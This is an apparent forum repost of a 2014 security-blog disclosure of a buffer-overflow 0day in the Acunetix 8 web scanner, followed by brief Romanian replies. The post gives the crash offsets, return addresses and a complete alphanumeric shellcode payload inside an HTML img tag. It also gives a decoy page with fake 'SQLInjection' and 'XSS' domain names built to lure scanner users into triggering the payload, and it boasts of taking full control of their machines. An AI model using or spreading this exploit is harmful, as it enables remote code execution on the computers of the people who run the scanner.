B3st Posted June 2, 2014 Report Posted June 2, 2014 (edited) A lot of sites owners will tellyou that the majority numbers of scans, performed against their sites, areperformed by automatic tools like NESSUS, ACUNETIX, and APPSCAN.Today 0DAY will be focused on oneof the most popular web scan in the world, ACUNETIX.The POC will be against ACUNETIX8 (build 20120704 since it’s one of the most common cracked version which waspublished in the net and used by many newbie hackers).This disclosure will not only reveala new vulnerability, but demonstrates a whole new perception of dealing with external attacks.Instead of protecting your websites again and again, or buying a new advanced WAF (web application firewall),let’s give the attackers a reason to be afraid, reason to think twice before theypress the “SCAN” button.In this article, I will not givea full working exploit for all scan scenarios nor for all operating systems, buta proof of concept that hopefully will grow into a new effort of research for vulnerabilitiesin Penetration test tools. So let’s get our hands dirty ACUNETIX is a powerful tool for scanningand finding vulnerabilities at websites.Many newbie attackers tend to usethis tool due to the simplicity of its use.ACUNETIX offers its users a simplewizard base scan that covers many aspects of the vulnerability scan.One of the aspects is the abilityto scan more domains or sub domains related to the scanned website.For example, if we scan my blog “http://an7isec.blogspot.co.il”,we will get the result shown below:After a little research aboutthis option, I figured out that ACUNETIX starts its wizard by sending an HTTPrequest to the site and learning about it from its HTTP response.Furthermore the wizard learns about theexternal related domains from the external sources that appear at the website,for example:“<img src=http://externalSource.com/someimg.png'>http://externalSource.com/someimg.png >”“<a href=http://externalSource.com/ ></a>” Etc...Further Analysis reveals that if oneof the external domain name length is more than 268 Byte’s, ACUNETIX willbe crashed , so if we want to cause a crash, all we need to do is to put somekind of external source at our site, which have the length of 268 Byte’s or more,say something like this:<A href= “http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA”> Quick view of this application inImmunity Debugger reveals that EDX was corrupted by the fuzzing string which causedaccess violation:Despite the fact that furtherwriting runs over the Structured Exaction Handler (SEH) as you will probablynotice ,my advice for you is not to go that way, believe me I tried it forseveral days with no success (because of the safe SHE mechanism).However, we have another problem withthis exploit, In one word, “ASCII”.ACUNETIX gets its informationabout external domains as a URL.This fact causing the string tobe converted into Web Browser friendly string.While ASCII accepts chars like:0x22 (“), 0x23 (#), 0x24 ($), 0x25 , 0x5C (\), 0x2F (/) and more …URL string accepts only printablealphanumeric chars and URL converted special chars (with few exceptions).So if my external source containsone of the special chars, they will be converted into ”%SOMETHING”.For example, thechar "quotes" (“) will be converted into 253232 in the memory becauseit’s the translation of %22.Another example that demonstratesthe URL encoding is: the char "percent" which will be converted into 253235 in thememory.Bypassing it, will be by buildingan exploit that contains only "A-Z, a-z, 1-0" chars and few specialchars that aren’t converted in the process of URL ENCODE like: "! ( ) = }{ " .(not a simple job at all)In short, I had to find a way tofix the flow of the application in order to avoid SEH based exploit (Because itwas impossible to bypass safe SHE protection with URL ASCII strings only).Finally, I found a way.In order to fix the flow, EDX hadto be overwritten with a readable memory address.Nevertheless, it is important toremember that EDX is not been used as is, but minus 8:MOVE ECX, DWORD PTR DS: [EDX-8]; Meaning that it doesn’t matterwhich memory address we use, we should add 8 to the address (in the exploit),convert the whole address into printable URL STRING, and hope to the best.After little research, I foundsuch an address.The address was at “0x663030XX” andluckily it had the possibility to be converted into URL String without specialbad char's --> "f005 ".After playing with the code Ifound that the exact location of that EDX overwrite, is at 268 Byte's offset.So for now our exploit looks likethis:<img src=”[url]http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA[/url]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA[COLOR="#FF0000"]500f[/COLOR]BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB ”>Running ACUNETIX's scan againstthat payload, caused the next result:As you can see above, the EIP wasoverwritten!!It appears that the idea offixing the flow was successful since it enabled me to be in a better positionof attack (EIP overwrite). Beside it, our potential spacefor shell code is now presented in EAX and ESP.When it comes to the decision whetherchoosing ESP or EAX, ESP is a better choice from two different aspects:One, ESP is pointing directly atthe beginning of the shell string.Two, there is much more space fora biggest shell code to be written.After I chose ESP, I needed tofind an instruction of “JMP ESP” in a memory address that could be written byURL string (limited ASCII as mention above).The desired address successfullyfounded at the location of: 0x7e79515d (SXS.DLL) – (In ASCII “ ]Qy~ “).After all that, our shell code supposedto look like this:<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBB”> 500f = 0x66303035 : readable memory location for fixing the flow of the applicationthat was corrupted by the buffer overflow.]Qy~ = 0x7e79515d (JMP ESP from SXS.DLL).OK, right now we are at the semifinalstage, running the application against above payload, produced the next result:Yea… we landed exactly at thebeginning of the final payload.The next step will be to usesuitable windows shell that will be made only from URL string (limited ASCII).Such shell can be generated with“ Metasploit ” and it is called "Alphanumeric Shell".The important thing to remember whileusing such payload, is that the payload's start address must be presented atone of the registers. If the payload presents at ESP, the first OP CODE of theshell need to be "PUSH ESP".In my Proof of concept, I usedsimple "CALC.EXE" shell code generated by “Metasploit that led me to the final stage which is ;working exploit!!Moreover, our exploit is successfullybypassing DEP protection, simply by choosing only the addresses that aren’tcompiled with DEP.And due to the fact that ACUNETIXitself is not complied with DEP, this exploit should work perfectly on windows XP.After successfully reaching allour goals, Let’s look on the final working exploit:<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2B B0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5 S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UK L71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTN GU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJ SLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649D ZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMO LSJ6BCORL9WXQNKPUWNKRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>We need to remember that in orderto enjoy our exploit, the newbie hacker must check our extra domain name, inthe list of the extra domains in ACUNETIX wizard window.So what can we do in order tomake our domain name attractive?Thinking about it, I came up withtwo ideas:1: writing some attempting domain name that will make the hackers check that domain, like, ADMIN.ControlMangment.1249874350345.An7isec.blogsp ot.co.il .2: using several external domains with the following names: “SQLINJECTION”“XSS”“CSRF”And so on…These kind of names will probablygive the eye of the hacker the feeling that the domain list window is actuallyan options window.The written code bellowdemonstrates that kind of misleading:<html><img src="http://SQLInjection...................................... .................................................... ..................................................................... ...............................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2B B0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5 S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UK L71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTN GU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJ SLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649D ZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMO LSJ6BCORL9WXQNKPUWNKRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”><img src="http://XSS............................................... .................................................... ..................................................................... ......................"><img src="http://CSRF.............................................. .................................................... ..................................................................... ......................."><img src="http://DeepScan.......................................... .................................................... ..................................................................... ..........................."><img src="http://NetworkScan....................................... .................................................... ..................................................................... .............................."><img src="http://DenialOfService................................... .................................................... ..................................................................... .................................."></html>In conclusion,Following all the above, wecreated a powerful exploit that Newbie hackerswill definitely fallfor.This exploit will give us theability to do everything with all that nasty Newbie hackers that scan our sitesday and night, killing our traffic, filling all the web site forms with junkand so on…Furthermore it can be used inorder to collect smart intelligence about hostile forces who want to attack ourweb application.BUT!!The more powerful idea thatmotivated me to reveal this concept and POC, is the fact that this exploit isAnonymity killer! , because even if the attacker uses the most smart and secureproxy in the world, such as "TOR" and others, his ass will be revealedand full control on his scanning machine will be gained.Thanks all for reading my post,hope you enjoy it,Happy hunting, An7iP.S.Here is a fully functional exploit video and Perlscript that generates custom exploit: Sursa: An7i Security: Pwn the n00bs - Acunetix 0day Edited June 2, 2014 by B3st 2 Quote
HackXBack Posted June 4, 2014 Report Posted June 4, 2014 i use acunetix9 and burpsuite , what the replacement !!? Quote
B3st Posted June 4, 2014 Author Report Posted June 4, 2014 poate 60 daysDap .. oricum pt ca majoritatea folosesc versiunea cracked o sa fie 1year day )) Quote
Ganav Posted June 4, 2014 Report Posted June 4, 2014 Bine ca ne spune si cum sa ne ferim . tor + doar un singur site la un moment dat si acela doar cu link-uri scurte, care nu au cum sa contina shellc0de. Quote